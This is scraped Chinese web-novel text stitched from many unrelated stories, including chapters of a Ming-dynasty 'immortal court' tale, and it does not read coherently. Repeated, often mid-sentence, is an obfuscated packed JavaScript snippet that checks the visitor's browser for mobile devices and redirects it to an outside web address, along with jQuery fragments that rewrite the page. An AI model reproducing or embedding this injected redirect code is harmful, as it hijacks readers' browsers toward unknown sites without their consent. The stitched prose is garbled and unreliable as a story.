听到卢迦这么一说,安德鲁也嘿嘿一笑,他听懂了卢迦的意思,这么多年来的合作早已经让二人心灵相通了。
其他人并不买账,毕竟这是谁都想要的大好机会,如果能够于良独处,那无异于觐见上帝。就这样你推我搡地让安德烈斯一次次从泥泞中爬起又一次次被推倒在地,他还是不甘,张口呼喊着努力跪起来继续向前。
辰星本来还想见识一下韩尘的斗阵,这才延缓了出招的时间。但见韩尘迟迟不发动,辰星可就没那耐心去等了。
平复了恐惧,现在的她很生气,被人这般的戏弄,差点魂都给吓没了。
便在武学能量即将触及流云飞的刹那,流云飞忽然一抖,四周瞬间泛起了光幻陆离的光斑,而他的本体,亦变得虚幻如影了。
不过其它啥的倒是比较普通,挺低调的感觉。依然不见什么村民,就是时常能看到黑袍人在走动。
那几人见蓝海竟然连理都不理自己,更是气不打一处来,直接上手,蓝海倒也乖不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669416|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反抗,就任他们打,那领头的下手贼狠,看来是修理过不少新人,专挑那些特别痛却打完不留痕迹的地方打。
墨希泽紧紧拥着夏念,像一个王者一样拥着自己最心爱的珍宝淡定从容而大气地越过一个一个的记者,而所有的记者也不明所以的不敢再向前,自动给墨希泽和夏念让出一条路来。
季凌菲,不管你是要玩猫捉老鼠,还是老鼠捉猫,在这场游戏中,掌控全局的是他。
各自一番臭骂,不到一分钟的时间,大合堂再次变成了战场。只不过,对敌的双方换了,由龙凤堂和阴山派的对战,变成了华光与阴山的一场混战。
尽量保持平静的心情和墨希泽面对面的吃着午饭,而墨希泽似乎也相当享受这样安静的午饭时光,居然什么也没有说,只是会吃一口就看看她,像在欣赏一件令人赏心悦目的珍宝一样。
而这十几天中,蓝海粗略的估算了一下这次打算进入地狱之门的人,大约有将近十亿左右的仙人。
我想起了刚才玄黄道人说的事情,神情忍不住一阵恍惚。难道说吴宇就是玄黄道人嘴里说的,我今年的婚缘么? 第一百九十九章 徐阶:这就是我送给皇上,送给朝廷的礼物! “或许是清流联手做局也不一定,”海瑞缓声开口,道:“毕竟现在所有人都知道,兵部尚书李承武,想要针对清流所有人。若是清流联手做局的话,也不是没有可能。”
“徐阁老将你我引至南京,”王用汲说话间,手指轻轻敲击着桌面,道:“这是在以自身为饵布下了一个局,就等着猎物上套呢。”
“我现在较为好奇的
而这个看起来似乎要失控打人的英国人,正用着一种仿佛在呕出内脏般的力气、极力地压抑住自己想要咆哮的冲动,这使得他蹦出单词的腔调变得极为古怪,宛如在嘶嘶漏风。
没有多大一会神族人就离开了,一时间就剩下我们三个在原地,我心里微微松了一口气,我没有想到那三个神族人竟然这么害怕和尚,我越来越想知道这和尚到底是谁了。
娜娜知道‘地中海’大叔,是天朝一个有名的老板,也是有着二三十个亿的身家。要是和这个‘地中海’大叔扯上点什么关系的话,那也算是挺不错的。
就在这时,时空凝滞再次出现,万籁俱寂,世界静止,出膛的子弹被卡在时间的夹缝里,堪堪停在离他鼻尖十公分的距离。
“过来看,关于焦磊的事,苦主发表声明了。”宗铭招招手。李维斯凑过去,发现他在看一条微博视频,发布者是上次给赵毅刚做过访谈的那名大v。
而且他要说的话,已经不知道重复了多少次了,他是在是不想继续在这里呆下去了。
如果这件事解决不好的话,她这温泉度假村,能不能继续开下去,还是另外一回事了。
“这……”村子里面的人你看看我,我看看你,一时间都不知道怎么开口了。
harry偷偷绕过了这位大个子朋友的屋子,躲在了一个偏僻的地方等待时间到达。信件里说了门钥匙,盒子里却是时间转换器,假如他没猜错,这两者是划等号的。
“好!”听着沈轻舞的要求,顾靖风点了点头将她揽入自己的怀中,亲亲的吻着她的额头。
就算没有奇怪的石头,那也肯定有东西,不然这个宝图上绝对不会有泰山的存在,看来是时候去泰山看一看了。
众人极力说服自己,然而想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669417|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏云凉的那番话,还有云药的冷酷无情,心里到底有些受伤。
不过这也不能怪先祖,要怪也只能怪苏云凉和沈轻鸿太无耻,竟然扒了先祖的衣服,先祖那个样子,能让他们看见吗?
白恒之的脸骤然一撇,躲过心湖的‘骚’扰,朝呆愣杵着的另外两人,平地一声惊雷暴吼。
莫如芝不耐烦的挥了挥手,懒懒的言道:“嬷嬷不必多礼。”随即目光有意无意向苓儿那方瞄去。
李贵妃万没料到,皇后竟然会如此出牌,眼瞅着东窗事发,竟然又与青霜扯上关系,如此一来,不仅将皇后的罪过推了个干干净净,还将青霜拉下水来。
“罢了,记不起来便不必强迫。你且先退下,哀家替你作主,为你查寻昔日伺候的宫苑。”太后不动声色,并不言及心中所疑,让青霜退下。
“臣妾参见皇上、皇后娘娘。”青霜盈盈而拜,随即对安妃施礼而下,一举一动尽显端庄娴雅。
下一秒,泰国拳手迅速冲向陈虎,同时手中出现一把伞兵刀,显然是要将其杀死,并且还要抢走所有的食物。 第二百章 海瑞:这盘棋,我也没资格下了 严府,灵田小院,书房里。
严家祖孙三人再次汇聚在一起,开起了小会。
“爹,徐阶这老东西,如此僭越,真就不怕皇上降罪?”严世蕃听完老爹关于徐阶计划的描述后,瞪大着眼一副惊呆的模样。
这一刻,小阁老严世蕃心里头,也生出一股寒意。
徐阶这操作,别说现在了,就算是嘉靖三十九年之前,皇
现在只不过是门面功夫,自然不会叫武士彟他们久等,蔡聪开了中门,亲自将他们迎了进来,客套话自然是少不了的,一番客套过后,蔡聪在众人注视下,坐在主坐上,笑呵呵的看着武媚娘。
轻灵公主的俏皮和可爱,古灵精怪被宋初音演活了,好像她就是轻灵本人一般。
皇宫里头,李世民坐在龙椅上听着严咚的汇报,高坐在上,严咚抬眼瞄去,只能看到模糊的身影,隐约中感觉有一道威严的目光落在自己的身上。
“妈,放心,你儿子在这事上面有着无师自通的天赋的!”容彦自信的说道。
此时,他完全没有理会瓦尔哈拉,双目从阴影中射出两道锐利的光芒,直刺在兰登脸上。
“先生乃是道德大儒,某特意过来敬你一杯。”面具男平静的说着,方管正想说愧不敢当,就看到面具男将酒壶倾倒,一道水柱在地上写了一个大大的一字。
“那顺便帮我也一起晒了吧!”刚进门的路亚琪正好听到这句,忙也说道。
这不是因为她和阿青关系好,而是阿青确实应该得到韩朝这样的宠爱。
天色破晓,折家军众人在一处林地停下来。赶了一夜的路,纵使有再高涨的士气也疲惫不堪了。
“不必谢我们,看你逃得如此惶恐,他们可是歹人?”一凡也回了一个礼,问道。
“我——”汪峥嘴巴张大,感觉脸红了,“我没你说得那么好。”他本意是让她放松一下心情,见了天地的广大就不会生无可恋了,没想到辦弯过头了。
在极端扭曲源力作用下已经逐渐失去理智,双眸猩红的帕瑟狂吼爆喝,手掌前端的无形雷霆再次借助着敌人本身所凝聚的力量通过元祖基因源力的奇异扭转力量从三角形手势的中心位置扭曲着探出。
喝酒误事,澹台长乐当初被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669418|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捉去了三头六臂星,不也是一个活生生的前车之鉴吗?
“嫂子,辛苦你了,你看下我能帮你做些什么。”李容客气地道。
他以为胡景躲在灰色世界,谋划一些不为人知的事情,或者暗中等待时机暗杀陈锡两人。
双攻提升,冰精灵开始呼唤出冰雹天气,在冰雹天气下冰精灵可以触发雪隐特性。
两人就这样一问一答聊了很久,贾宝玉也不知为何会跟她今晚聊得这么多,可能是因为都在这个世上同病相怜吧。
法拉利在一个超大的别墅面前停了下来,别墅很大很大,外面还有个超大号的花园,与其说是别墅,还不如说是城堡更恰当。
一时间整个街道的上空就仿佛是绽开了一朵璀璨的翡翠烟花,大地塌陷,四散的泥土与砖石被爆裂逸散的能量统统绞成粉碎。
只有到了这里,才能给他们带来一些安全感。否则,一旦沦入血魔帝国的手中,到时候别说不能掌控自己的生死,甚至有可能生不如死。
这足以劈开大地的一招劈在李慕身上,却只是敲响了一声大钟一样,没有伤到李慕丝毫。 第二百零一章 嘉靖五十二年,仙朝立! 嘉靖五十年,十二月,下旬。
小半年时间里,大明朝可谓是空前的热闹。
首先,就是朝廷的新国子监,对外公布了关于嘉靖五十二年,科举改制的具体章程,以及新科举,关于各行各业,所考的全部科目。
学子需要考的总共有四个大类。
一、三教经意。
儒教经典,考儒家四书五经,明圣贤之道,
刚才路过那个分叉路口才是往东院去的路,叶伦怎么领着她朝南走了?
因此没有任何收入的博丽云梦在吃饭的时候拒绝了所有人蹭饭的念头。
“你老师?你身边的半妖精?”母龙十分不屑的模样,好似同为守护者的半妖精与自己根本不在一个层次上。
他手中拿着一个遥控装置,那是可以启动冥使头部外面的头盔,释放高压电将冥使电昏过去的开关。
那两个男人就像抓了只兔子一样。仍然轻轻松松地夹着他前行。因为刚才进了万能商店,所以这时候沈幼芙早已分不清楚西南北了。不过只要朝着与他们相反的方向跑,那总能跑回去的。
看到法思科公司的这个宣传噱头,江平也忍不住暗暗感叹,人家能把生意做这么大不是没有道理的,确实是有一帮有想法的员工的。
萧风没有说太多,更没有强迫他们,因为对付什么猎物,就要下什么套子!这些公子哥们,不能逼得太紧,要不然会起反效果。
“你平时可没少在我们家蹭饭,帮我拿点东西只是举手之劳,这点事情都不愿意,你以后干脆就别来我们神社了。我们神社可养不起你这种只会吃饭,一点忙都不愿意帮的白眼狼!”博丽云梦冷笑道。
吴浩明觉得华旭很不错,华锋有这样一个大哥,起码在华家是不愧吃亏的。
如果再让大姐姐这样夸奖她,她心里那股被她压抑住的野心种子会再次生根发芽的。所以,她还是转移话题的好。
而在他面前的不远处,同时有一个梅花形的凹槽虚影瞬间凝聚而成。
她把发箍上的龅牙兔子豁口耳朵往下拉扯着,垂头鼓嘴作出害羞模样。
她目光悲怆,缓缓的眨眨眼睛,长长的眼睫在她的眼睑处投下好看的阴影。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669419|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' t;皇后也听说了罗娇娇生产之时出了状况。她当然知道恐怕是长公主的授意,但救人心切,也顾不得那么多了。
许惑不断尝试着白焰的用法,却不知,就在他白焰散发的时候,外面已经炸翻了天。
秋纪本部长对待端颜还算是脸色稍微缓和了一下,对着她淡淡地点了点头,然后思路一点儿也没有被中断,又转向面前恭恭敬敬站着的练习生继续她没有讲完的内容。
胡三虽然听说了张齐的身份,但还是不相信他是主席,毕竟他在这里生活了很多年,对国内的局势根本不清楚。
只可惜,母亲并不知道,那权贵公子为了防备他长大后报复,不仅废了他的全身筋骨,而且还割了他的舌头。
她将头埋入膝盖,双臂环着自己,慢慢的想到了她在年少时光里做的那些傻事。
施恩忽然抬起左手,“轰”的一声,一只真元力手臂立即出现,将肖宁给抓在了手中。
古凡好几次忍不住想吞服那枚法则丹,可节骨眼上都放弃了这个念头,他不甘心就这么浪费,毕竟有空间法则的人本来就少,遑论是将其焚炼成法则丹了。 第二百零二章 玉熙宫议政,徐阶:这一刻,终于来了! 严府,膳厅。
严嵩、严世蕃和严绍庭祖孙三人在膳厅用膳,周围伺候的下人一个也没有。
自从朝廷踏入仙途以来,祖孙三人的日子就过的相对安静,当然生活质量却没有降低。
此时,祖孙三人已经琢磨着怎么瓜分朝中的利益了。
毕竟严嵩早已经知道了这一次,李承武和徐阶派系之间的争斗结果。
神鸢术,金光裹沈柔,一只只金鸢从金光中飞出,洒碎金光,融化拐。
“笑话?我后悔什么?后悔娶不着夫人?”君宁澜嗤笑一声,眼里却有什么因为叶蓁这句话微微的动容了,他蓦地松开手,端起茶盏就抿了一口,慢悠悠的道:“慢走,不送。”殊不知这茶也是方才叶蓁喝过的。
已经在丛林里转了几天,大民的行动一直很迟缓,完全不似一个猎户应有的那种敏捷身手。
“老婆,你说什么呢,你看给人家都弄不好意思了。”姓罗的男人说道。
这种莫名的自豪感,让叶少轩不禁想起了洛歌之前喊自己为徒儿是不是也有这样的感觉。
这一刻,警卫排长感觉到了苍凉,仿佛是置身于杀戮过后的战场,一种荒芜由心而生。
沈君使用遁术,九头兽扑了空,李妍的眼睛没有眨,却没有看见沈君是如何不见的?沈君忽然在九头兽的身后出现,使出兽拳,噼噼啪啪一阵响,打得九头兽血肉横飞,趴在地上,眼里森冷的光不见了,只有害怕。
林晓欢到海滨别墅时,大家已经在餐桌前就位了。jason亲自为她拉开座椅,林晓欢坐下后,才发现,大家都沉默得厉害。
“你想跟我说什么?”这是杨嘉画看到伊墨的时候说的第一句话。到现在杨嘉画都不知道自己为什么要这么说,伊墨也不知道为什么,心里惊奇也是有的,只是没有说出来。
在万灵界的另一处,彩儿和叶景看到齐鸣身上的第二道仙种,都忍不住咧嘴笑了起来。
柯南看着趴在船边栏杆上的木子,心中跃跃欲试要跟木子比一场。
安哲真的有时候分不清楚她是真傻还是装傻,还是真的就是有时候天然呆,总之,该聪明的时候聪明,不该聪明的时候就呆。
但偏偏却找了这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669420|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个借口来搪塞,这无疑就引起了夏昭儿的疑心。
“没事。”木子摇摇头,把口袋里的手机拿了出来,看了一下,没有信号。
接着他便讲出了一个极其无聊的故事,大意就是他们家老大在三国乱世里当谋臣,后来觉得这些主公太过没用想要自立为王,后来被他给劝回去了。
在演绎青山木子的人的眼中,世界上有两种人,一种是她的爱人,一种是生活在阳光下的人,而另外的,她都看不到眼里。
“哥!”见哄不好,博言瞪着博璟,似要一个解释,不然就要拼命的架势。
刚回到家,郑迪的电话便追了过来,李善达将左佑在车上说的话告诉郑迪,郑迪很是高兴。
“我知道,我知道。他住在白云山庄1栋顶层2201房,他还在等着我的回复呢。”躺在地上的驾驶员看来是这个胡湖的心腹,也看得出胡湖觉得这一击是必杀的。说来也是,如果不是李善达,郑迪和周韬略早已命丧当场。
到现在,其实陆吾已经分不清自己究竟有没有见过李俊耀了,说他没事不知是宽慰自己,还是在宽慰其他人。 临时有事,请假一天~ 众人一见到那一枚闪闪发亮的钻石戒指都瞪大了眼睛,上面的那颗钻石无论是切割还是品质都是上上之选,更何况还是难得一见的粉钻。
虽然说事出有因,被逼无奈,但这么做,想要继续拿到武极神宫的奖励,让彦家成为城主却是不太可能了。
“闭上眼睛观察呼吸、只要让自己的全身心安静下来,没有任何的杂念就可以了。”此时田野在内心里面坚定的想着,这些都是哈莫雷之前告诉自己的。
“你好像很喜欢看星星呢!”露茜那好听的声音从莲华身边响起,打破了夜的寂静,也打断了莲华的思绪。
商城里的东西,已经超出了田野所料,他猜到里边的东西会很贵,但是却贵的非常离谱。
我不是很会写感言,还望各位见谅。话说了那么多,也别介意我多说几句结语吧。
“你们在干嘛?”一个清冷的声音突然从里傲等人身后飘来,只听声音不用回头看也能知道来的人是莲华。
前往冥猫国的路上,夜风曾经试想过类似实验,只是担心孟妮雅无法接受。
叶林看着挂在蓝心随身的玉佩上的中国结,心里也不禁一动,有着一点暧昧在内心柔软的地方生根芽,似乎有着什么东西呗触动了,在一点点的滋生起来。
“放了你弟弟?哼,哪有那么容易,今天你弟弟如果不开口向我道歉,我是绝对不会放过他。”王大虎冷笑道。
不过,这不算什么,她定要再想想办法,接近皇上,让皇上也不得不纳她为妃。
那死灵之龙感受到了陈扬的存在,身子剧烈摆动,同时回头,以血盆大口咬噬过来。
而关烁兰看到她有什么可震惊的,谁看热闹不是热闹?除非是认出她、而且是在她脸上看到了出乎意料的表情或者不能置信她淡然的袖手旁观。
“黎姐姐,你就这么放心我哥?”龙孤芷一些好奇地看着黎诗愉。
“八部天神,若是真的是你们所为,下次见面,我必让你们成为八部亡神!”秦云的拳头捏的紧紧的,眼中迸发出强烈的怒意。
即便是隔着一点距离,秦墨宇也能清楚地看到男人提着的至少是两人份的早餐,因为他手中的饮料是分开的,明显是两个杯子,更别说他另一只手里除了能看地很清楚的油条之外,还有别的东西。
只听一声巨响,云行手掌上的火焰神力便直接被秦云的拳头给震散。
若是拼死反扑,秦云或许不怕,但若是伤到赵红雪,那秦云真的就没有脸去见灵神了,所以秦云选择暂时留着他们,等彻底摸清林霸天的底细,然后再动手不迟。
“是的,主人”,器灵心悦诚服的一个点头,心中虽然对自己这位新主人,还保留着一丝丝的质疑,但事已至此,也已经没什么好说的了,只能是拼尽全力的,将林萧给伺候好。
“人类,你比我想的要狡猾。”海曼阴冷的看着邵逸龙,说不出的憋屈。
“平哥,你真的加入了特工队了?”回到了庞重那里之后,陆易平便将自己这一行的事情都告诉了他,而庞重虽然听着很新奇,但是却没有什么太大的反应,唯一的反应就是,陆易平竟然会加入特工队。
不愧是婆婆,就算我要跟伍峥离婚了,他都不忘最后再往我身上榨一次。
“不能怪我,六十七层以上的火种很少,如果我有,我就给骁儿用了。”左宗仁无奈。
魏叔玉苦笑一声,也不说什么,有些话谁都明白咋回事,可是说出来又不合适。
龙翔出去了这么多年,还跟这样的朋友厮混一起,还能有多出息?
这年头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669421|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了越长生境的四圣谛之外,还敢说十几名长生境巅峰高手毫无用处,但现在东阳就是说了,且让人觉得是如此的理所当然,因为他有这个资格。
这一幕,让上月无风脸色骤变,他的倾力一击,换来的却是这样的结果,让他如何不怒,如何不惊,如何不恨。刹那间,东阳就从原地消失,再出现就已经是在祀命帝子面前。
“杰罗姆就是杰罗姆,苍鹰只是别人送给我的外号。”杰罗姆笑道。
但是,巫山之下,有两道至强的剑光对撼,恐怖的剑道风暴肆虐开来,让巫山上的防御阵法,都是在顷刻间疯狂震颤,甚至有很多阵法都被这剑光给撕裂了。
除了一些铁粉的留言夸赞,同样也有不少黑子在下面跳脚,说语凝蝶身为公众人物却穿着睡衣出境简直伤风败俗。
“吵死了,让他们闭嘴!”坐在太师椅上的老者眉头微皱,语气毫无感情波动,仿佛他就是一把冰冷的剑刃,不是一个有血有肉的活人。
坐在沙发上,裴窈见容洵山坐在自己对面,他看着自己,面上是和平常无异的疏离,但她能感觉到,他目光中带着些抱歉。
高耸的 胸膛,有着看起来无比结实、实际也无比结实的肌肉覆盖。
新房落成需要不少的环节,水淼淼没有去前面看热闹,只是让周志伟带着水云俊去前面走完所有的流程。
乌国钰之所以没弄死唐鸿飞,无非就是因为唐鸿飞有背景,毕竟是官宦世家子弟,他爹虽然在前几年便死了,但人脉还是有的,唐鸿飞的大哥更是边军将领。
“是原一年级B班,一个叫伊藤诚的同学提出来的。他人比较普通,进入学生会后表现出来的能力也一般,不过这次却是提了一个好建议,我们榊野部的学生会成员,都全票通过了他的提议。”桂言叶说道。 第二百零三章 天下哗然,日月山河永在,大明仙朝永在 嘉靖平静的目光落在下方众人的身上,不过此时在场所有人都是不由的心中一紧。
就连刚刚被赞赏而心中欢喜的严世蕃,也是收敛面上的喜色和心中的喜悦。
坐在火炉边上的严嵩,依旧是一副老神在在,双手对着火炉烤火的模样,仿佛没有感受到陡然间,变得凝重的气氛一样。
裕王跟景王对视一眼后,神色平静异
而妖寂垂着眸,没有说话,她觉得自己是对不起阿辞的,那是自己的母亲,而山亭亲手杀了她。。。
风势吹的很急,刮的众人睁不开眼,好在轩凌大手一挥,一道光幕凭空出现,旋风消失,一切恢复平静。
“总裁,请上这一辆车,这辆车没有问题。”王特助指着旁边的车说道。
见老头吼自己,白欣这才反应过来老头是嫌弃自己太吵了,于是便退了出去。
下一秒,司命推开大门走了进来,很奇怪燕山亭警觉性这么强的人居然没有第一时间发现他的到来。
若是他们对娘的娘发了脾气,他们娘生气了,以后不要他们了怎么办?
等水开的功夫,乔画屏借着褡裢的掩饰,开始往外扒拉她先前攒下的一些好东西——一大把鲜得好像刚摘下来的野山菇,一大把油量油量的鲜木耳,甚至,她还“顺手”从空间里,掰了一块灵芝出来,充当某种残缺的蘑菇。
五百步的距离上没有受到攻击可把他乐坏了,而三百步抵挡住了敌人的最强攻击更是让他有了底气。
几乎所有的玉饰,都碎成了几段,还有好些珠宝,都出现了划痕。
就是这样一日接着一日,日子悠闲又平淡,每日几乎也没什么事情发生。
“罪人,束手就擒吧!”一个提着双手巨剑的中年男人冲向了德森,见状,皇甫汐进入了潜行状态,好像现在跟她没关系了,那就看会儿戏吧。
果然,接下来顾烟的刀法便顺了很多,没再出过问题,但是她食指上的伤一直没处理,食指上的血一直流淌着。
“算了,大不了死一次!”季伐轲又看了看打扫战场的季问,咬了咬牙。就这样吧,大不了死一次,又不是没有死过。做出了决定的季伐轲眼神明亮了起来,状态很好。
莉莉丝想着便从楼上跨过相邻很近的教学楼,直接在楼上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669422|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻到了御擎天所在的位置,却发现就在御擎天寻找什么的时候,一个白球在暗中出现,瞄准了御擎天。
所有大宗师瞬间就认出来了这一位,所有人心中都生出了一抹忌惮。
尖叫声划破了这个夜晚,村子里所有人都听到了这一声尖叫声,一个个抱着好奇心朝着这里走来。
齐空明心中不免有些惊讶,想要知道那涤心鱼到底长得是什么样子。
陆晨话音刚落,李沐儿眼睛里的泪水再也是绷不住,如断了线的珍珠一般,不住的往下滴落。
重力好似无形的大网缓缓张开,那只箭鱼毫无察觉,齐空明在十几米远操控着这一切灵力与魂力的消耗十分迅速。
“额滴神!”驻守此地的大队指挥官惊叫一声,急忙喝令手下停火,然后用通讯器向上禀报。
在未来的走向内,知念悟感知到了一场灾难,他必须要尽可能避免才对。
一来到了夏季,神社内的房间成为了最喜欢的地方,除了凉爽之外,还有游戏机与电脑,一款折磨人的闯关游戏,让这些灵物们迷上了,每一次都像是开了重大作战会议一样,进行经验的谈话。 第二百零四章 赐宝,本命映照! 嘉靖五十二年九月底。
朝廷又一政令宣布天下,顿时又引来百姓的哗然与欢呼。
“大明仙朝皇帝诏曰:”
“朕闻天地之道,贵以和为贵;国家之治,重在民安。今我大明,德泽广被,海内晏清,四方归心,已臻于仙朝之境。百姓生活富足,社会安定和谐,诚为盛世景象。”
“然古制宵禁,虽为防范未然,
壁炉里有一块还没有完全点燃的木头,火被轻轻地加热着,直到午夜才熄灭。
舒窈迈着莲步优雅地走了进来。细一看,她连衣裳都已经换了,可见回来已经有了一阵子了。
回到家,笑天没有走大门,而是搂着胡梅一飞而入,然后直奔石洞而去。
不过虽然李清自觉自己还不到神医的程度,但她的医术已经很好,破解一个治疗瘟疫的药丸,没用太长时间。
就在陈元思考的时候,车子已经来到了最后一个十字路口,路过这里,再往前走就是姜家的宅院了。
李维的出现打破噩梦应有的结局,导致梦魇无法吸收到这次的噩梦之力,才引得梦魇化身雪熊对他发起袭击。
毕竟,楚帝国也好,大乾朝也罢,国都都是金陵。以金陵为名的学府,在这两朝是什么地位,想想便能得知。
抽够了旱烟,夫人“咚咚咚”将烟袋里面的烟丝磕在地上,然后她收起烟袋,眼皮微抬,“你们是哪里的?”夫人装作若无其事,其实是想探底。
明明只是个三才强者,但在此刻,却仿佛安娜洁雅才是现场身份最高的人一般。她有条不理的布置着任务。
王天可不知道赵柳蕠和郭采抱着看戏的心情,这个时候他正在怼林高远。
就在楚渔耐心即将被消磨光的前一刻,鬼十四举起了他那粗壮手臂。
这老先生也有些生气了,这动不动就下跪的,这不知道的还以为他们过来欺负人的。
大厅其余的地方,则摆上了两排十几个朱红色的木柜,那些柜子上都隐隐泛着白色灵光。显然,这些柜子上都被下了禁制。
老头子再次把嘴里的血水给吐出来,然后恶狠狠的说着,他还是第一次被人打得这么狼狈,所以也发怒了。
感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669423|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受着手臂上传来的剧痛,让辛宁是又惊又怒,他到此刻方才明白,哪怕自己的实力达到了炼虚境七重,但是,想要在拳头上赢过罗钰,似乎是根本不可能的事。
他和楚渔都不担心里面的相片会流传出去,但为了避免不必要的麻烦,最好还是提早把出现问题的可能性降到最低。
万一发生特殊情况,比如——当雪遥夏和夜慕白,跟风清绝斗得两败俱伤之时。
可是看苏正伟的样子,想必那些钱又都被拿去花掉了,这几年来,他用多少手段从自己这里拿走了全部的钱,到头来还是欠了一屁股的债。
这般酣畅的战斗中,雪遥夏只能匆匆瞥过,无法仔细观察,更不可能把那东西捡起来。
即便如此,汪宇刚驶出南山卫视大门,就发现他和莫树说话,对方已经不应答了。
混鲲之庆云显现后,一黝黑宝殿悬浮,乃混鲲伴身灵宝北冥殿,此外还有七根灰色羽毛飘逸,乃是混鲲身上的七根北冥羽,乃难得的灵宝,每一根都是风之法则凝聚。
